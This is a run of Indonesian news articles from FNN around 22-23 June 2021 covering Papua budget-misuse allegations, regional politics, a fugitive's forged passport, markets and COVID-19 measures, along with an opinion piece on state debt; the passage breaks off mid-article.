Jakarta, FNN - Anggota DPD RI asal Papua Barat Filep Wamafma menilai laporan Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK) mengenai 80 transaksi mencurigakan terkait Anggaran Pendapatan dan Belanja Daerah (APBD) dan Dana Otsus harus ditindaklanjuti dengan langkah penegakan hukum. "PPATK dan aparat penegak hukum diharapkan dapat mengusut adanya dugaan penyimpanan dana negara oleh para pejabat daerah yang digunakan untuk kepentingan pribadi maupun golongan," kata Filep di Jakarta, Rabu. Menurut dia, penyalahgunaan dana negara untuk kepentingan pribadi sangat bertentangan dan menghambat cita-cita percepatan pembangunan kesejahteraan rakyat Papua. Karena itu dia berharap upaya pengusutan segera memunculkan langkah penegakan hukum dan membawa para pelanggar hukum ke meja pengadilan. "Hal yang perlu diperhatikan PPATK adalah yang pertama, indikasi pembentukan sejumlah yayasan oleh para birokrat di jajaran pemerintahan daerah diduga menjadi sarana untuk dijadikan sebagai penyimpanan atau penyaluran sejumlah anggaran yang kemudian peruntukannya sesungguhnya bukan untuk kepentingan percepatan pembangunan kesejahteraan, tetapi diduga bahwa hal tersebut adalah untuk kekayaan pribadi, kelompok maupun golongan," ujarnya. Filep meminta adanya upaya investigasi intelijen untuk mengusut tuntas dugaan penyalahgunaan anggaran melalui transaksi-transaksi yang mencurigakan. Dia menilai upaya-upaya pengusutan dan penindakan hukum secara tegas tersebut sangat diharapkan masyarakat yang menginginkan adanya keadilan di tanah kelahirannya. "Kedua, perlu dilakukan investigasi intelijen yang sangat penting dilakukan oleh kejaksaan terkait dengan transaksi-transaksi yang mencurigakan seperti dalam bentuk paket proyek, dana hibah maupun operasional di SKPD masing-masing," katanya. Dia mengatakan transaksi mencurigakan tersebut merupakan cara-cara kerja lama yang dipraktikkan berkali-kali dan jika tidak ada penegakan hukum maka tentu akan menjadi kebiasaan buruk dan itu berimplikasi terhadap kepercayaan rakyat terhadap pemerintah. Filep menegaskan bahwa rakyat Papua berharap penegakan hukum segera dilaksanakan seadil-adilnya untuk mendukung terciptanya tatanan birokrasi yang baik dan bersih yang bekerja sepenuhnya untuk kepentingan rakyat. Dia menilai kalau itu dilakukan maka kepercayaan rakyat terhadap kinerja pemerintah daerah akan meningkat dan harapan keadilan serta kesejahteraan akan terwujud. Sebelumnya, PPATK menyatakan ada 80 hasil analisis transaksi keuangan yang mencurigakan bersumber dari penggunaan Anggaran Pendapatan dan Belanja Daerah (APBD) dan Dana Otonomi Khusus (Otsus) Papua. Data tersebut berdasarkan hasil analisis PPATK selama 10 tahun terakhir terkait penggunaan dana Otsus dan APBD Papua. Laporan tersebut sudah disampaikan PPATK kepada KPK, Kejaksaan Agung, dan Kepolisian. (sws)

Gubernur Kalsel Minta Ibnu-Arifin Satukan Lagi Masyarakat Usai Pilkada

Banjarmasin, FNN - Pejabat Gubernur Kalimantan Selatan Safrizal ZA meminta Wali Kota dan Wakil Wali Kota Banjarmasin, H Ibnu Sina dan H Arifin Noor yang baru saja dilantik untuk menyatukan lagi masyarakat yang sempat terbelah karena Pilkada 2020 ini. Pj Gubernur Kalsel menyampaikan itu usai melantik Ibnu Sina dan Arifin Noor sebagai pemenang Pilkada tahun 2020 di Gedung Mahligai Pancasila di Banjarmasin, Rabu. "Dengan ini Pilkada sudah usai, kemudian kewajiban Wali Kota dan Wakil Wali Kota Banjarmasin dilantik melayani seluruh masyarakat, baik yang memilihnya maupun yang tidak pada pilkada lalu," paparnya. Ditekankan Safrizal, Ibnu-Arifin wajib berdiri di semua golongan masyarakat untuk melayani mereka, tidak ada lagi kotak-kotakan usai pelaksanaan pilkada yang cukup panjang ini, karena sempat terjadi pemungutan suara ulang (PSU) atas putusan Mahkamah Konsitusi (MK). Untuk Wali Kota Banjarmasin H Ibnu Sina sebagai petahana, Safrizal mengatakan, tidak perlu lagi dirinya memberikan arahan terlalu rinci bagaimana harus memimpin kota Banjarmasin. "Tidak usahlah saya mengajari ikan berenang, karena ikan ini lincah sekali," ujarnya tertawa. Namun demikian, kata dia, dirinya tetap menyampaikan beberapa hal untuk sinergitas dan kolaborasi kebijakan provinsi dan kabupaten/kota lainnya. "Pertama itu daerah kita masih dalam kondisi pandemi COVID-19, meskipun belakangan ini kasusnya mulai melandai, tapi kita semua jangan sampai lengah," tuturnya. Karena varian virus baru bisa saja masuk ke daerah ini, kata Safrizal, hingga sosialisasi ke masyarakat untuk terus waspada dan menerapkan protokol kesehatan jangan sampai kendor. Dia juga menyampaikan kesiapan daerah menghadapi lonjakan kasus COVID-19 harus dilakukan sejak dini, utamanya kesiapan alat kelengkapan kesehatan di rumah sakit. "Kita harus siap juga strategi gas dan rem, jika kasus COVID-19 melandai, ekonomi digas, kalau kasus naik lagi, segera pencet rem," tuturnya. Kemudian, kata Safrizal, sebagai kota yang berbasis sungai, harus terus memperhatikan pembangunan lingkungan, karena sebagai fungsi ekonomi, sosial dan transportasi. "Jadi harus dijaga betul kondisi Sungai Martapura khususnya yang mengaliri Banjarmasin juga daerah lainnya," tuturnya. Wali Kota Banjarmasin H Ibnu Sina didampingi wakilnya H Arifin Noor menyampaikan komitmen mereka dalam memimpin Kota Banjarmasin ke depan dengan merangkul semua pihak. "Pilkada kita sudah berlsngsung cukup lama, kini sudah usai, mari kita bersatu lagi membangun daerah, apalagi kondisi masih pandemi COVID-19, jadi semua harus bersatu melawannya," ucapnya. (sws)

Anggota DPR: Perubahan Mitra Kerja Komisi VII DPR Tanda Ubah Paradigma

Jakarta, FNN - Anggota Komisi VII DPR, Mulyanto, menilai perubahan mitra kerja Komisi VII DPR menandakan ada perubahan paradigma dan logika kemitraan kedepannya. Ia mengatakan, perubahan paradigma tersebut yaitu dari bidang energi, riset dan teknologi yaitu energi menjadi arah prioritas kerja riset, teknologi dan lingkungan hidup, berubah menjadi energi dan industri. "Dalam logika kemitraan ini, saya berpikir bagaimana meningkatkan ketahanan, kemandirian dan kedaulatan energi dalam rangka menggerakan industrialisasi nasional," kata Mulyanto, dalam keterangannya di Jakarta, Rabu. Ia menjelaskan, kedepannya di Komisi VII DPR tetap ada mitra kerja terkait ristek seperti Badan Riset dan Inovasi Nasional, Badan Pengkajian dan Penerapan Teknologi, Lembaga Ilmu Pengetahuan Indonesia, Badan Tenaga Nuklir Nasional, Badan Pengawas Tenaga Nuklir, Lembaga Penerbangan dan Antariksa Nasional, dan Badan Informasi Geospasial. Namun menurut dia, semuanya diarahkan dalam mengintegrasikan ristek dari invensi menuju innovasi karena inovasi dalam dimensi ekonomi terutama terjadi dalam industri sehingga hilirisasi hasil-hasil ristek yang signifikan adalah dalam bentuk komersialisasi oleh industri. "Ke depan arahnya seperti itu, pembangunan industri menjadi tujuan prioritas bidang energi dan ristek. Namun harapan kami, perhatian Kementerian Lingkungan Hidup dan Kehutanan, yang tidak lagi menjadi mitra Komisi VII, masih tetap diberikan terhadap aspek pengelolaan lingkungan pertambangan dan energi," ujarnya. Ia menilai masyarakat dan lingkungan akan menjadi korban dari eksploitasi ESDM apabila persoalan tersebut kurang mendapat perhatian karena sangat terkait dengan keberlanjutan pembangunan nasional. Sebelumnya, Rapat Paripurna DPR pada Selasa (22/6) menyetujui penetapan mitra kerja pada alat kelengkapan dewan yaitu Komisi VI DPR, Komisi VII DPR, dan Komisi X DPR. Penetapan mitra kerja tersebut adalah Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi menjadi mitra kerja Komisi X DPR, Kementerian Investasi menjadi mitra kerja Komisi VI DPR, dan Kementerian Perindustrian menjadi mitra kerja Komisi VII DPR. (sws)

Anis Matta: Kita Perlu Sumpah Ketiga untuk Akhiri Pembelahan Politik

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menilai Sumpah Palapa yang digaungkan Mahapatih Kerajaan Majapahit Gajah Mada bisa menjadi spirit untuk mengakhiri pembelahan sosial dan politik yang terjadi di masyarakat. Residu pembelahan hingga kini tak kunjung usai, bahkan mulai menunjukkan peningkatan ekskalasinya jelang Pemilu 2024. “Ada dua sumpah yang menginspirasi kami di Partai Gelora, pertama Sumpah Palapa dan kedua Sumpah Pemuda. Kedua sumpah ini menjadi ilham bagi para pendiri bangsa yang waktu itu ingin merumuskan identitas baru, bernama Indonesia,” kata Anis Matta saat memberikan pengantar diskusi Gelora Talk4 dengan tema ‘Pembelahan Politik di Jagat Media Sosial: Residu Pemilu yang Tak Kunjung Usai’ usai” di Jakarta, Selasa (22/6/2021). Dalam diskusi yang menghadirkan narasumber Sekretaris Jenderal Partai Gelora Mahfuz Sidik, peneliti komunikasi dan politik Guntur F. Prisanto, penggerak JASMEV Dyah Kartika Rini dan penggerak Relawan Ganti Presiden (RGP) Ari Saptono itu, Anis Matta mengatakan, Sumpah Palapa Gajah Mada tidak hanya menginspirasi Partai Gelora, tapi juga memberi ilham bagi Mohammad Yamin, tokoh pemuda untuk mempelopori Sumpah Pemuda. “Itu sebabnya, Mohammad Yamin otak dibalik Sumpah Pemuda menulis panjang tentang Gajah Mada yang bisa mengkonsolidasikan seluruh potensi dan bisa fokus menyelesaikan krisis sistemik yang terjadi saat itu,” katanya. Karena itu, Sumpah Palapa Gajah Mada, lanjut Anis Matta, juga bisa menjadi tekad untuk melahirkan sumpah ketiga, yakni Sumpah Tekad Indonesia untuk keluar dan bangkit dari krisis, sehingga mampu menjadikan Indonesia sebagai negara dengan kekuatan lima besar dunia. “Andaikata Gajah Mada dan para perintis Sumpah Pemuda masih ada, mereka semuanya akan ada dalam forum diskusi kita ini. Untuk melihat persoalan yang kita bahas, dimana kita tidak tahu arah sejarah yang sedang kita tuju, ada semacam kebingungan kolektif yang mendera para pemimpin kita saat ini,” kata Anis Matta berandai-andai. Sementara Sekretaris Jenderal Partai Gelora Indonesia Mahfuz Sidik menilai apabila pembelahan sosial dan politik di masyarakat segera tidak diakhiri, maka bisa menyebabkan terjadinya fail state (negara gagal) dan berujung bubarnya negara. “Pembelahan sosial dan politik yang terbiarkan, residunya akan semakin mengental dan dapat menyebabkan fail state, negara gagal. Di beberapa negara pembelahan menjadi pemicu negara bubar, sehingga harus ada solusi segera untuk mengakhiri,” kata Mahfuz. Namun, peneliti komunikasi dan politik Guntur F. Prisanto berpendapat pembelahan sosial politik di media sosial (medsos) bukanlah cerminan realita sesungguhnya, hanya sekedar gambaran di dunia maya saja. Sebab pembelahan sosial adalah keniscayaan dalam politik, karena penganut demokrasi liberal perlu mengindentifikasi secara tegas pilihannya. Parpollah yang bertanggungjawab untuk mencairkan politik identitas ini,” kata Guntur. Hal senada diamini Dyah Kartika Rini, penggerak JASMEV. Dyah menilai bisa saja masyarakat tertentu hanya ingin menunjukkan pilihan dukungan dan politik di medsos saja, tetapi tidak dunia nyata. “Boleh jadi dia amat garang di medsos, tetapi sangat berbeda di dunia nyata. Pembelahan sosial sebenarnya sudah dimulai dari Pilkada DKI 2012 lalu, jadi kalau dihitung sudah berlangsung 9 tahun,” kata Dyah. Sedangkan penggerak Relawan Ganti Presiden Ari Saptono menegaskan, pada titik tertentu politik identitas Ini justru menguntungkan para calon kandindat independen seperti yang terjadi dalam Pilkada Serentak 2020 lalu, karena mereka dianggap masih bersih dan tidak terlibat konflik kepentingan selama ini. “Lebih dari 50 persen calon independen dalam Pilkada menang seperti di Lampung dan beberapa kota di Kalimantan Timur. Masyarakat sudah apatis dan jenuh dengan partai politik, lalu memilih calon alternatif yang relatif masih Murni,” kata Ari Saptono. (ant)

Bareskrim Polri Temukan Dua Tindak Pidana Adelin Lis Selama Buron

Jakarta, FNN - Direktorat Tindak Pidana Umum (Dit Tipidum) Bareskrim Polri menemukan dua dugaan tindak pidana yang dilakukan Adelin Lis (AL) alias Hendro Leonardi (HL) selama buron di Singapura. Direktur Tipidum Bareskrim Polri Brigjen Andi Rian Djajadi, saat dikonfirmasi di Jakarta Rabu, mengatakan dugaan tindak pidana tersebut diperoleh setelah pihaknya berkoordinasi dengan Direktorat Jenderal Keimigrasian dan Atpol Singapura. "Hasil koordinasi dan penyelidikan bersama Ditjen Imigrasi serta dengan Atpol Singapura diketahui dua hal dugaan tindak pidana yang telah dilakukan oleh buronan AL alias HL selama pelariannya," kata Andi. Dua dugaan tindak pidana itu, kata Andi, yakni menggunakan dokumen perjalanan RI (paspor) yang diketahui atau patut diduga palsu atau dipalsukan. Berikutnya memberikan data tidak sah atau keterangan yang tidak benar untuk memperoleh Dokumen Perjalanan RI bagi dirinya sendiri. "Semua substansi kedua perbuatan melawan hukum atau tindak pidana tersebut secara khusus telah diatur dalam UU No 6 Tahun 2011 tentang Keimigrasian (vide Pasal 126 huruf a dan c) dan penegakan hukumnya menjadi kewenangan PPNS Keimigrasian berdasarkan asas Lex Spesialis derogat Legi Generali," kata Andi. Andi menambahkan, dalam pelaksanaan proses penyidikan, Penyidik Pegawai Negeri Sipil (PPNS) Keimigrasian berkoordinasi dengan penyidik Polri, termasuk diantaranya bantuan penyerahan barang bukti dokumen perjalanan RI (paspor) asli tapi palsu yang masih diamankan oleh Kedubes RI dalam hal ini (cq-red) Atpol/SLO Polri di Singapura. "Penyidikan terkait dugaan dua tindak pidana di atas oleh PPNS Keimigrasian sudah dimulai sejak koordinasi intensif dilakukan minggu lalu," ujar Andi. Sebelumnya diberitakan, usai dipulangkannya terpidana pembalakan liar Adelin Lis dari Singapura ke Jakarta, Dit Tipidum Bareskrim Polri mengusut penggunaan paspor palsu oleh buronan terpidana Adelin Lis atas nama Hendro Leonardi yang dipakai saat buron di Singapura. Adelin Lin ditangkap oleh Pemerintah Singapura karena penggunaan paspor palsu atas nama Hendro Leonardi dan hukum denda 14.000 dollar Singapura atau sekitar Rp140 juta, dan dideportasi dari negeri singa putih tersebut. Kedutaan Besar RI di Singapura kemudian menyampaikan brafax kepada Jaksa Agung perihal proses hukum WNI atas nama Hendro Leonardi dengan dakwaan pemalsuan identitas atas nama Adelin Lis. Lalu pada 8 Maret 2021, dari hasil koordinasi Atase Polri dengan Mabes Polri dan Polda Sumatera Utara, diperoleh hasil bahwa Adelin Lis merupakan WNI dan merupakan DPO Penyidik Polda Sumatera Utara. Adelin Lis juga masuk ke dalam Red Notice Interpol No. A-2671/1-12007, tanggal 19 November 2007 dan belum kedaluwarsa. Kejaksaan Agung membawa Adelin Lis dari Singapura ke Jakarta pada Sabtu (19/6), untuk langsung menjalani eksekusi atas vonis hukuman yang dijatuhkan oleh Mahkamah Agung. Mahkamah Agung menjatuhkan hukum kepada Adelin dipidana 10 tahun penjara, denda 1 miliar rupiah, dan uang pengganti Rp199,8 miliar dan reboisasi 2,938 juta dollar AS. Adelin Lis ditahan di Rumah Tahanan Negara (Rutan) Salemba, cabang Kejaksaan Agung. Sebelum menjalani pidana penjara dan denda, Adelin Lis terlebih dahulu menjalani isolasi sesuai protokol kesehatan COVID-19 selama 14 hari. (mth)

PTPN V Siagakan 55 Embung Antisipasi Karhutla di Riau

Pekanbaru, FNN - PT Perkebunan Nusantara V menyatakan telah menyiagakan sebanyak 55 embung yang tersebar di seluruh unit perkebunan perusahaan milik negara tersebut untuk membantu pemerintah memerangi kebakaran hutan dan lahan di Bumi Lancang Kuning, Riau. "Selama 25 tahun berdiri areal PTPN V tidak pernah terbakar. Kami terus mengedepankan langkah pencegahan, termasuk di antaranya menyiapkan 55 embung dengan beragam ukuran. Ini bisa menjadi sumber air saat dibutuhkan baik oleh internal maupun satgas di luar perusahaan," kata Chief Executive Officer PTPN V, Jatmiko K Santosa dalam keterangannya di Pekanbaru, Rabu. Menurutnya, keberadaan embung menjadi vital mengingat salah satu masalah yang kerap dihadapi satuan tugas (Satgas) ketika menghadapi karhutla adalah minimnya sumber air. Untuk itu, Pemerintah Provinsi Riau terus mendorong pembangunan sumber-sumber air baru di lokasi rawan karhutla, baik itu melalui pembuatan sumur bor, sekat kanal, maupun embung-embung air yang masif dilakukan dalam beberapa tahun terakhir. PTPN V hingga kini tercatat telah memiliki puluhan embung beberapa di antaranya berukuran cukup besar yang dapat dimanfaatkan sebagai tempat penampungan air. Embung ini menjadi bagian dari sarana dan prasarana yang dimiliki perusahaan untuk terus dalam kondisi siap dan siaga menghadapi musim kering tiba. "Kita semua dalam status siaga, jangan sampai lengah dan terus meningkatkan kewaspadaan agar langit Riau tetap biru tahun ini," ujar Jatmiko yang juga merupakan Ketua GAPKI Riau tersebut. Berdasarkan prakiraan Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) Stasiun Pekanbaru, Provinsi Riau kembali memasuki musim kering gelombang paruh kedua pada Juni hingga September 2021 mendatang. Pada Rabu (22/6), Citra Satelit Terra dan Aqua mendeteksi sebanyak lima titik panas atau indikasi karhutla di Riau dengan tingkat kepercayaan di atas 50 persen. Angka tersebut menurun dibandingkan sehari sebelumnya yang tercatat sebanyak 18 titik panas menyebar di tujuh kabupaten di Provinsi Riau. Walau BMKG memperkirakan pengaruh La Nina dalam kondisi netral, artinya masih terjadi hujan walau sesaat di beberapa wilayah, Jatmiko mengatakan perusahaan akan terus meningkatkan kewaspadaan mengingat Riau yang berada di perlintasan ekuator memiliki tingkat suhu panas lebih tinggi di saat musim kering tiba. "Insya Allah embung-embung kita selama ini dalam keadaan yang baik dan siap untuk digunakan. Pada intinya kita tidak boleh lengah. Pencegahan kebakaran harus terus kita utamakan," tegasnya. Pemprov Riau diketahui telah menetapkan status Siaga Darurat Karhutla sejak 15 Februari hingga 31 Oktober 2021 sebagai langkah antisipasi musim kering. Hingga saat ini, terdapat lima helikopter pengebom air dan satu pesawat modifikasi cuaca bantuan dari Badan Nasional Penanggulangan Bencana (BNPB) siaga di Riau. (mth)

IHSG Naik Merespons Pernyataan Gubernur The Fed

Jakarta, FNN - Indeks Harga Saham Gabungan (IHSG) Bursa Efek Indonesia (BEI) pada Rabu pagi naik, merespons pernyataan dovish (kebijakan pelonggaran) dari Gubenur bank sentral AS The Fed Jerome Powell. IHSG dibuka menguat 8,05 poin atau 0,13 persen ke posisi 6.095,9. Sementara kelompok 45 saham unggulan atau indeks LQ45 naik 2,74 poin atau 0,32 persen ke posisi 871,21. "Dengan dukungan kenaikan bursa global dan dollar index yang turun di bawah level 92, IHSG kami perkirakan dapat kembali menguat namun terbatas, terlebih kasus laju COVID-19 yang belum turun," tulis Tim Riset Samuel Sekuritas dalam kajiannya di Jakarta, Rabu. Pada perdagangan semalam, bursa saham AS ditutup dengan kecenderungan menguat. Penguatan terjadi setelah Powell mengatakan di depan DPR bahwa ia yakin inflasi yang tinggi hanya sementara dan tingkat inflasi akan kembali turun. Selain itu, Powell juga menyebut ekonomi AS cenderung pulih dan pasar tenaga kerja akan kembali naik. Di sisi lain, imbal hasil (yield) obligasi 10 tahun AS melemah menjadi 1,467 persen. VIX index, yang mencerminkan volatilitas pasar, juga turun 6,8 persen. Sementara itu, perkembangan kasus COVID-19 di Indonesia belum mereda. Sebanyak 13.668 kasus baru terjadi pada Selasa (22/6) kemarin, sedangkan yang sembuh hanya mencapai 8.375 kasus. Dengan demikian, kasus aktif kembali meningkat menjadi 152.686 kasus, tertinggi ke-3 di Asia. Recovery rate turun di bawah 90 persen, atau tepatnya 89,7 persen. Vaksinasi terus berjalan, dengan 23,8 juta penduduk telah mendapat vaksinasi tahap 1 sedangkan yang menerima vaksinasi tahap 2 mencapai 12,5 juta penduduk. Bursa saham regional Asia pagi ini antara lain indeks Nikkei menguat 50,96 poin atau 0,18 persen ke 28.935,09, indeks Hang Seng naik 180,86 poin atau 0,64 persen ke 28.490,62, dan indeks Straits Times meningkat 6,73 poin atau 0,22 persen ke 3.115,93. (mth)

Saham Australia Melemah Terseret Sektor Energi

Sydney, FNN - Saham Australia tergelincir pada perdagangan Rabu pagi, setelah sehari sebelumnya membukukan sesi terbaik mereka dalam hampir empat bulan, karena saham emas dan energi melemah setelah harga komoditas yang mendasarinya turun semalam. Indeks acuan S&P/ASX 200 melemah 0,5 persen menjadi diperdagangkan di 7.303,20 poin pada pukul 12.59 GMT, mundur setelah melonjak 1,5 persen pada Selasa (22/6/2021). Saham sektor energi terpangkas 1,5 persen karena harga minyak mentah merosot semalam menyusul diskusi oleh negara-negara OPEC+ untuk meningkatkan produksi mereka. Emiten kelas berat sektor minyak Santos dan Woodside adalah beban terbesar pada sub-indeks, masing-masing terpuruk 2,4 persen dan 1,5 persen. Saham Ampol dan Viva Energy diperdagangkan di wilayah negatif meskipun parlemen Australia menyetujui rencana untuk membiayai mereka 2,3 miliar dolar Australia (1,8 miliar dolar AS) guna mempertahankan kilang minyak mereka tetap beroperasi. Saham sektor emas melemah 0,5 persen, menyusul kemerosotan harga emas semalam ketika para pedagang menunggu kejelasan lebih lanjut dari Federal Reserve AS mengenai kebijakan moneternya setelah bank sentral memberikan nada hawkish minggu lalu. Saham-saham utama sektor emas, Northern Star Resources tergelincir 0,5 persen, sementara Ramelius Resources anjlok 3,2 persen dan merupakan pecundang terbesar kedua di sub-indeks. Saham sektor keuangan turun 0,74 persen, dengan bank 'empat besar' kehilangan antara 0,9 persen hingga 1,1 persen. Sebaliknya saham sektor teknologi menguat 0,8 persen, dipimpin oleh kenaikan 1,3 persen Afterpay Ltd dan kenaikan 0,7 persen saham Appen. Di tempat lain, indejs Nikkei Jepang naik 0,29 persen, menjadi diperdagangkan pada 28.968,43 poin. Di Selandia Baru, indeks acuan S&P/NZX 50 terangkat 0,25 persen menjadi diperdagangkan di 12.565,51 poin. (mth)

Studio Steven Spielberg Disiapkan Garap Berbagai Film untuk Netflix

Jakarta, FNN - Netflix mengumumkan produser film Steven Spielberg akan terlibat dalam beberapa film orisinilnya bersamaan dengan kesepakatan dengan rumah produksi Amblin Partners memasok beberapa film dalam beberapa tahun ke depan. Sutradara di balik film layar lebar peraih Academy Award seperti "E.T. the Extra-Terrestrial," "Schindler's List" dan "Saving Private Ryan" itu juga tetap menyutradarai dan memproduksi film untuk Comcast Corp's Universal Pictures di bawah perjanjian terpisah. "Sangat jelas bahwa kami memiliki kesempatan luar biasa untuk menceritakan kisah baru bersama dan menjangkau pemirsa dengan cara baru," kata Steven Spielberg dalam pernyataannya seperti dilansir dari Reuters, Rabu. Pengajuan nama sutradara dan produser kawakan itu terjadi di tengah pesaing Netflix seperti Amazon dan Walt Disney sibuk mencari strategi menggaet pemirsa untuk menggunakan layanan menonton daringnya. Sebelumnya, Steven Spielberg sempat berselisih dengan Netflix dalam beberapa tahun terakhir karena dia berpendapat bahwa film yang dilihat terutama di televisi harus memenuhi syarat untuk Emmy dan bukan Oscar. Ia berbicara tentang keinginan untuk melestarikan pengalaman menonton film di bioskop. "Seluruh hidup saya telah dihabiskan untuk mencoba memberikan sesuatu kepada pemirsa di forum yang besar. Saya menyukai seluruh perasaan interaksi sosial di luar ... Mereka adalah jenis pemirsa yang saya suka ajak bicara," kata Steven Spielberg pada 2018. Netflix berencana merilis lebih dari 70 film tahun ini, mengirimkan beberapa filmnya ke bioskop untuk penayangan terbatas. Perusahaan ini mengoperasikan layanan streaming terbesar di dunia dengan hampir 209 juta pelanggan di seluruh dunia. Amblin Partners juga memproduksi beberapa film di luar film yang disutradarai oleh Steven Spielberg. Proyek Amblin terbaru diantaranya menyabet predikat pemenang film terbaik 2018 "Green Book" dan drama Perang Dunia Pertama 2019 "1917," keduanya didistribusikan oleh Universal. (mth)

Satgas TNI-Polri Bersinergi Jaga Stabilitas Keamanan di Tolikara

Tolikara, FNN - Personel TNI Satuan Tugas Pengamanan Daerah Rawan (Satgas Pamrahwan) Yonif RK 751/VJS mendatangi Polres Tolikara dalam rangka bersinergi menjalin hubungan kerja di lapangan yang baik dalam menciptakan stabilitas keamanan di lingkungan masyarakat yang aman dan damai. Komandan pos Satgas Pamrahwan Yonif 751/VJS Lettu Inf M. Iqbal Vahlepi dalam keterangan, Rabu, mengatakan, maksud dan tujuan kunjungan anggota Pos Satgas Pamrahwan ke Polres Tolikara adalah silaturahim antara personel Satgas Pamrahwan Yonif RK 751/VJS dengan unsur Kepolisian Negara Republik Indonesia. "Tujuan saya dan anggota Pos untuk menciptakan situasi yang aman di wilayah Kabupaten Tolikara khususnya Distrik Karubaga sebagai wujud sinergitas TNI-Polri. Dalam kesempatan kunjungan ini pula pihak Polres Tolikara sedang melaksanakan kegiatan vaksinasi masal di wilayah Tolikara,"jelas Lettu Inf M. Iqbal. Di tempat yang sama, Wakapolres Tolikara Kompol Yosep Goran Geleuk memberikan apresiasi atas maksud dan tujuan kedatangan personel Satgas Pam Rahwan Yonif RK 751/VJS ke Polres. "Saya mengucapkan selamat datang di Tolikara Distrik Karubaga yang merupakan daerah pusat pemerintahan daerah Kabupaten Tolikara,"ungkap Wakapolres. Diakuinya, apa yang menjadi arahan pimpinan pusat TNI-POLRI harus kita laksanakan dengan cara berbuat baik terhadap masyarakat karena di wilayah Tolikara ini masyarakat percaya terhadap TNI-POLRI dalam menciptakan stabilitas keamanan. "Jalin komunikasi yang baik dan lakukan pertukaran informasi yang positif dalam pelaksanaan tugas,"jelas Wakapolres. Disebutkan Wakapolres, Satgas PamrahwanYonif RK 751/VJS pos Karubaga merupakan Satgas organik Kodam XVII/Cenderawasih. Dengan keberadaan Satgas Yonif RK 751/VJS diharapkan dapat membantu kesulitan masyarakat Distrik Karubaga dan menjaga stabilitas keamanan di wilayah setempat. (sws)

Menyoal Sustainabilitas APBN yang Sarat Utang

KONDISI fiskal kita dalam dua tahun terakhir semakin memburuk. Ibarat lebih besar pasak dari tiang, kondisi Anggaran Pendapatan dan Belanja Negara (APBN) terancam tidak sustain, diragukan keberlanjutannya. Adalah Badan Pemeriksa Keuangan (BPK) yang telah melakukan audit laporan keuangan pemerintah pusat selama 2020. Dalam laporan tersebut, BPK mengkhawatirkan penambahan utang pemerintah selama tahun lalu. Ketua BPK Agung Firman Sampurna mengatakan, tren penambahan utang pemerintah dan biaya bunga utang telah melampaui pertumbuhan Produk Domestik Bruto (PDB) dan penerimaan negara. Sehingga, pemerintah dikhawatirkan tidak mampu untuk membayar utang tersebut berserta bunganya. "Memunculkan kekhawatiran terhadap penurunan kemampuan pemerintah untuk membayar utang dan bunga utang," ujar Agung Firman dalam Rapat Paripurna DPR RI, Selasa (22/6). BPK melaporkan, realisasi pendapatan negara dan hibah di tahun lalu sebesar Rp1.647,78 atau mencapai 96,93% dari anggaran. Sementara itu, realisasi belanja negara tahun lalu sebesar Rp2.595,48 triliun atau mencapai 94,75% dari anggaran. Hal itu membuat defisit anggaran tahun 2020 dilaporkan sebesar Rp947,70 triliun atau 6,14% dari PDB. Meski demikian, realisasi pembiayaan tahun 2020 mencapai Rp1.193,29 triliun atau sebesar 125,91% dari nilai defisitnya. Sehingga, terdapat Sisa Lebih Pembiayaan Anggaran (SILPA) sebesar Rp245,59 triliun. Realisasi pembiayaan tersebut terutama diperoleh dari penerbitan Surat Berharga Negara (SBN), pinjaman dalam negeri, dan pembiayaan luar negeri sebesar Rp1.225,9 triliun, yang berarti pengadaan utang tahun 2020 melebihi kebutuhan pembiayaan untuk menutup defisit. BPK juga mengungkapkan bahwa utang tahun 2020 telah melampaui batas yang direkomendasikan IMF dan/atau International Debt Relief (IDR) yakni, rasio debt service terhadap penerimaan sebesar 46,77%, melampaui rekomendasi IMF sebesar 25% sampai dengan 35%. Sedangkan rasio pembayaran bunga terhadap penerimaan sebesar 19,06% melampaui rekomendasi IDR sebesar 4,6% hingga 6,8% dan rekomendasi IMF sebesar 7% hingga 19%. Serta rasio utang terhadap penerimaan sebesar 369%, melampaui rekomendasi IDR sebesar 92% hingga 167% dan rekomendasi IMF sebesar 90% hingga 150%. Adapun hingga akhir Desember 2020, total utang pemerintah sudah mencapai Rp6.074,56 triliun. Posisi utang ini naik cukup tajam dibandingkan dengan akhir tahun 2019 lalu. Dalam satu tahun, utang Indonesia bertambah Rp1.296,56 triliun dari akhir Desember 2019 yang tercatat Rp4.778 triliun. Kalau sudah demikian, apakah APBN kita akan berkelanjutan? Atau harus ngerem mendadak karena sarat dengan beban utang? Ekonom senior Rizal Ramli sering menyindir untuk membayar beban bunga utang, Menkeu Sri Mulyani harus berutang lagi. Dalam istilah ekonomi disebut defisit keseimbangan primer. Artinya, kondisi fiskal benar-benar sangat ketat sehingga manuver anggaran jadi sangat terbatas. APBN sudah disandera oleh utang, utang dan utang. Ini juga yang menjelaskan kualitas sukuk (obligasi syariah) yang dibeli Badan Pengelola Keuangan Haji (BPKH) dan Lembaga Penjamin Simpanan (LPS). Jika demikian kita mempertanyakan amanah dana jamaah di BPKH dan dana yang disetorkan perbankan di LPS benar-benar dalam bahaya. Apakah ini pertanda mimpi Presiden Jokowi untuk memimpin tiga periode menjadi sirna? Semoga sejarah yang bisa membuktikan!!!

Pemkab Gunung Kidul Diminta Tutup Objek Wisata pada Sabtu dan Minggu

Gunung Kidul, FNN - Anggota DPRD Kabupaten Gunung Kidul, Daerah Istimewa Jogjakarta, Suharjo meminta pemerintah setempat menutup sementara objek wisata pada Sabtu dan Minggu untuk menekan penyebaran COVID-19 di wilayah itu, karena penambahan harian mengalami lonjakan signifikan. "Kondisi penambahan kasus harian COVID-19 di Gunung Kidul cukup tinggi. Kami menyarankan menutup sementara objek wisata pada Sabtu dan Minggu untuk menekan lonjakan COVID-19. Hal yang serupa diterapkan di Kabupaten Bantul," kata Suharjo di Gunung Kidul, Rabu. Ia mengatakan berdasarkan laporan, setiap Sabtu dan Minggu, jumlah pengunjung objek wisata sangat tinggi. Hal ini berpotensi menularkan COVID-19 di objek wisata. "Kami berharap Pemkab Gunungkidul mengeluarkan kebijakan yang bersifat tegas namun adil bagi masyarakat. Selama ini, kebijakan yang dilakukan belum sepenuhnya berpihak ke masyarakat. Apalagi masyarakat juga sudah jenuh dengan situasi seperti ini," katanya. Anggota DPRD Gunung Kidul lainnya, Gunawan mengatakan munculnya kasus penularan di kawasan Pantai Drini, Kecamatan 